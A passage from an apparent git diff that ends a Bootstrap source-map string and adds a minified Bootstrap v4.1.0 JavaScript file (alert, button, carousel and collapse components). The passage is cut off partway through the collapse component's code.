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"} \ No newline at end of file diff --git a/public/js/bootstrap.min.js b/public/js/bootstrap.min.js new file mode 100644 index 0000000..eac9842 --- /dev/null +++ b/public/js/bootstrap.min.js @@ -0,0 +1,7 @@ +/*! + * Bootstrap v4.1.0 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,c){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function o(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function h(r){for(var t=1;t<arguments.length;t++){var s=null!=arguments[t]?arguments[t]:{},e=Object.keys(s);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(s).filter(function(t){return Object.getOwnPropertyDescriptor(s,t).enumerable}))),e.forEach(function(t){var e,n,i;e=r,i=s[n=t],n in e?Object.defineProperty(e,n,{value:i,enumerable:!0,configurable:!0,writable:!0}):e[n]=i})}return r}e=e&&e.hasOwnProperty("default")?e.default:e,c=c&&c.hasOwnProperty("default")?c.default:c;var r,n,s,a,l,u,f,d,_,g,m,p,v,E,y,T,C,I,A,D,b,S,w,N,O,k,P,L,j,R,H,W,M,x,U,K,F,V,Q,B,Y,G,q,z,X,J,Z,$,tt,et,nt,it,rt,st,ot,at,lt,ht,ct,ut,ft,dt,_t,gt,mt,pt,vt,Et,yt,Tt,Ct,It,At,Dt,bt,St,wt,Nt,Ot,kt,Pt,Lt,jt,Rt,Ht,Wt,Mt,xt,Ut,Kt,Ft,Vt,Qt,Bt,Yt,Gt,qt,zt,Xt,Jt,Zt,$t,te,ee,ne,ie,re,se,oe,ae,le,he,ce,ue,fe,de,_e,ge,me,pe,ve,Ee,ye,Te,Ce,Ie,Ae,De,be,Se,we,Ne,Oe,ke,Pe,Le,je,Re,He,We,Me,xe,Ue,Ke,Fe,Ve,Qe,Be,Ye,Ge,qe,ze,Xe,Je,Ze,$e,tn,en,nn,rn,sn,on,an,ln,hn,cn,un,fn,dn,_n,gn,mn,pn,vn,En,yn,Tn,Cn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n||l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;t+=~~(1e6*Math.random()),document.getElementById(t););return t},getSelectorFromElement:function(t){var e=t.getAttribute("data-target");e&&"#"!==e||(e=t.getAttribute("href")||"");try{return 0<i(document).find(e).length?e:null}catch(t){return null}},getTransitionDurationFromElement:function(t){if(!t)return 0;var e=i(t).css("transition-duration");return parseFloat(e)?(e=e.split(",")[0],1e3*parseFloat(e)):0},reflow:function(t){return t.offsetHeight},triggerTransitionEnd:function(t){i(t).trigger(e)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]||t).nodeType},typeCheckConfig:function(t,e,n){for(var i in n)if(Object.prototype.hasOwnProperty.call(n,i)){var r=n[i],s=e[i],o=s&&l.isElement(s)?"element":(a=s,{}.toString.call(a).match(/\s([a-z]+)/i)[1].toLowerCase());if(!new RegExp(r).test(o))throw new Error(t.toUpperCase()+': Option "'+i+'" provided type "'+o+'" but expected type "'+r+'".')}var a}};return i.fn.emulateTransitionEnd=t,i.event.special[l.TRANSITION_END]={bindType:e,delegateType:e,handle:function(t){if(i(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}},l}(e),In=(n="alert",a="."+(s="bs.alert"),l=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",_="show",g=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function(t){t=t||this._element;var e=this._getRootElement(t);this._triggerCloseEvent(e).isDefaultPrevented()||this._removeElement(e)},t.dispose=function(){r.removeData(this._element,s),this._element=null},t._getRootElement=function(t){var e=Cn.getSelectorFromElement(t),n=!1;return e&&(n=r(e)[0]),n||(n=r(t).closest("."+f)[0]),n},t._triggerCloseEvent=function(t){var e=r.Event(u.CLOSE);return r(t).trigger(e),e},t._removeElement=function(e){var n=this;if(r(e).removeClass(_),r(e).hasClass(d)){var t=Cn.getTransitionDurationFromElement(e);r(e).one(Cn.TRANSITION_END,function(t){return n._destroyElement(e,t)}).emulateTransitionEnd(t)}else this._destroyElement(e)},t._destroyElement=function(t){r(t).detach().trigger(u.CLOSED).remove()},i._jQueryInterface=function(n){return this.each(function(){var t=r(this),e=t.data(s);e||(e=new i(this),t.data(s,e)),"close"===n&&e[n](this)})},i._handleDismiss=function(e){return function(t){t&&t.preventDefault(),e.close(this)}},o(i,null,[{key:"VERSION",get:function(){return"4.1.0"}}]),i}(),r(document).on(u.CLICK_DATA_API,'[data-dismiss="alert"]',g._handleDismiss(new g)),r.fn[n]=g._jQueryInterface,r.fn[n].Constructor=g,r.fn[n].noConflict=function(){return r.fn[n]=l,g._jQueryInterface},g),An=(p="button",E="."+(v="bs.button"),y=".data-api",T=(m=e).fn[p],C="active",I="btn",D='[data-toggle^="button"]',b='[data-toggle="buttons"]',S="input",w=".active",N=".btn",O={CLICK_DATA_API:"click"+E+y,FOCUS_BLUR_DATA_API:(A="focus")+E+y+" blur"+E+y},k=function(){function n(t){this._element=t}var t=n.prototype;return t.toggle=function(){var t=!0,e=!0,n=m(this._element).closest(b)[0];if(n){var i=m(this._element).find(S)[0];if(i){if("radio"===i.type)if(i.checked&&m(this._element).hasClass(C))t=!1;else{var r=m(n).find(w)[0];r&&m(r).removeClass(C)}if(t){if(i.hasAttribute("disabled")||n.hasAttribute("disabled")||i.classList.contains("disabled")||n.classList.contains("disabled"))return;i.checked=!m(this._element).hasClass(C),m(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-pressed",!m(this._element).hasClass(C)),t&&m(this._element).toggleClass(C)},t.dispose=function(){m.removeData(this._element,v),this._element=null},n._jQueryInterface=function(e){return this.each(function(){var t=m(this).data(v);t||(t=new n(this),m(this).data(v,t)),"toggle"===e&&t[e]()})},o(n,null,[{key:"VERSION",get:function(){return"4.1.0"}}]),n}(),m(document).on(O.CLICK_DATA_API,D,function(t){t.preventDefault();var e=t.target;m(e).hasClass(I)||(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,D,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(A,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].Constructor=k,m.fn[p].noConflict=function(){return m.fn[p]=T,k._jQueryInterface},k),Dn=(L="carousel",R="."+(j="bs.carousel"),H=".data-api",W=(P=e).fn[L],M={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0},x={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean"},U="next",K="prev",F="left",V="right",Q={SLIDE:"slide"+R,SLID:"slid"+R,KEYDOWN:"keydown"+R,MOUSEENTER:"mouseenter"+R,MOUSELEAVE:"mouseleave"+R,TOUCHEND:"touchend"+R,LOAD_DATA_API:"load"+R+H,CLICK_DATA_API:"click"+R+H},B="carousel",Y="active",G="slide",q="carousel-item-right",z="carousel-item-left",X="carousel-item-next",J="carousel-item-prev",Z={ACTIVE:".active",ACTIVE_ITEM:".active.carousel-item",ITEM:".carousel-item",NEXT_PREV:".carousel-item-next, .carousel-item-prev",INDICATORS:".carousel-indicators",DATA_SLIDE:"[data-slide], [data-slide-to]",DATA_RIDE:'[data-ride="carousel"]'},$=function(){function s(t,e){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this._config=this._getConfig(e),this._element=P(t)[0],this._indicatorsElement=P(this._element).find(Z.INDICATORS)[0],this._addEventListeners()}var t=s.prototype;return t.next=function(){this._isSliding||this._slide(U)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},t.prev=function(){this._isSliding||this._slide(K)},t.pause=function(t){t||(this._isPaused=!0),P(this._element).find(Z.NEXT_PREV)[0]&&(Cn.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},t.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},t.to=function(t){var e=this;this._activeElement=P(this._element).find(Z.ACTIVE_ITEM)[0];var n=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)P(this._element).one(Q.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=n<t?U:K;this._slide(i,this._items[t])}},t.dispose=function(){P(this._element).off(R),P.removeData(this._element,j),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},t._getConfig=function(t){return t=h({},M,t),Cn.typeCheckConfig(L,t,x),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){return e.pause(t)}).on(Q.MOUSELEAVE,function(t){return e.cycle(t)}),"ontouchstart"in document.documentElement&&P(this._element).on(Q.TOUCHEND,function(){e.pause(),e.touchTimeout&&clearTimeout(e.touchTimeout),e.touchTimeout=setTimeout(function(t){return e.cycle(t)},500+e._config.interval)}))},t._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},t._getItemIndex=function(t){return this._items=P.makeArray(P(t).parent().find(Z.ITEM)),this._items.indexOf(t)},t._getItemByDirection=function(t,e){var n=t===U,i=t===K,r=this._getItemIndex(e),s=this._items.length-1;if((i&&0===r||n&&r===s)&&!this._config.wrap)return e;var o=(r+(t===K?-1:1))%this._items.length;return-1===o?this._items[this._items.length-1]:this._items[o]},t._triggerSlideEvent=function(t,e){var n=this._getItemIndex(t),i=this._getItemIndex(P(this._element).find(Z.ACTIVE_ITEM)[0]),r=P.Event(Q.SLIDE,{relatedTarget:t,direction:e,from:i,to:n});return P(this._element).trigger(r),r},t._setActiveIndicatorElement=function(t){if(this._indicatorsElement){P(this._indicatorsElement).find(Z.ACTIVE).removeClass(Y);var e=this._indicatorsElement.children[this._getItemIndex(t)];e&&P(e).addClass(Y)}},t._slide=function(t,e){var n,i,r,s=this,o=P(this._element).find(Z.ACTIVE_ITEM)[0],a=this._getItemIndex(o),l=e||o&&this._getItemByDirection(t,o),h=this._getItemIndex(l),c=Boolean(this._interval);if(t===U?(n=z,i=X,r=F):(n=q,i=J,r=V),l&&P(l).hasClass(Y))this._isSliding=!1;else if(!this._triggerSlideEvent(l,r).isDefaultPrevented()&&o&&l){this._isSliding=!0,c&&this.pause(),this._setActiveIndicatorElement(l);var u=P.Event(Q.SLID,{relatedTarget:l,direction:r,from:a,to:h});if(P(this._element).hasClass(G)){P(l).addClass(i),Cn.reflow(l),P(o).addClass(n),P(l).addClass(n);var f=Cn.getTransitionDurationFromElement(o);P(o).one(Cn.TRANSITION_END,function(){P(l).removeClass(n+" "+i).addClass(Y),P(o).removeClass(Y+" "+i+" "+n),s._isSliding=!1,setTimeout(function(){return P(s._element).trigger(u)},0)}).emulateTransitionEnd(f)}else P(o).removeClass(Y),P(l).addClass(Y),this._isSliding=!1,P(this._element).trigger(u);c&&this.cycle()}},s._jQueryInterface=function(i){return this.each(function(){var t=P(this).data(j),e=h({},M,P(this).data());"object"==typeof i&&(e=h({},e,i));var n="string"==typeof i?i:e.slide;if(t||(t=new s(this,e),P(this).data(j,t)),"number"==typeof i)t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},s._dataApiClickHandler=function(t){var e=Cn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(B)){var i=h({},P(n).data(),P(this).data()),r=this.getAttribute("data-slide-to");r&&(i.interval=!1),s._jQueryInterface.call(P(n),i),r&&P(n).data(j).to(r),t.preventDefault()}}},o(s,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return M}}]),s}(),P(document).on(Q.CLICK_DATA_API,Z.DATA_SLIDE,$._dataApiClickHandler),P(window).on(Q.LOAD_DATA_API,function(){P(Z.DATA_RIDE).each(function(){var t=P(this);$._jQueryInterface.call(t,t.data())})}),P.fn[L]=$._jQueryInterface,P.fn[L].Constructor=$,P.fn[L].noConflict=function(){return P.fn[L]=W,$._jQueryInterface},$),bn=(et="collapse",it="."+(nt="bs.collapse"),rt=(tt=e).fn[et],st={toggle:!0,parent:""},ot={toggle:"boolean",parent:"(string|element)"},at={SHOW:"show"+it,SHOWN:"shown"+it,HIDE:"hide"+it,HIDDEN:"hidden"+it,CLICK_DATA_API:"click"+it+".data-api"},lt="show",ht="collapse",ct="collapsing",ut="collapsed",ft="width",dt="height",_t={ACTIVES:".show, .collapsing",DATA_TOGGLE:'[data-toggle="collapse"]'},gt=function(){function a(t,e){this._isTransitioning=!1,this._element=t,this._config=this._getConfig(e),this._triggerArray=tt.makeArray(tt('[data-toggle="collapse"][href="#'+t.id+'"],[data-toggle="collapse"][data-target="#'+t.id+'"]'));for(var n=tt(_t.DATA_TOGGLE),i=0;i<n.length;i++){var r=n[i],s=Cn.getSelectorFromElement(r);null!==s&&0<tt(s).filter(t).length&&(this._selector=s,this._triggerArray.push(r))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var t=a.prototype;return t.toggle=function(){tt(this._element).hasClass(lt)?this.hide():this.show()},t.show=function(){var 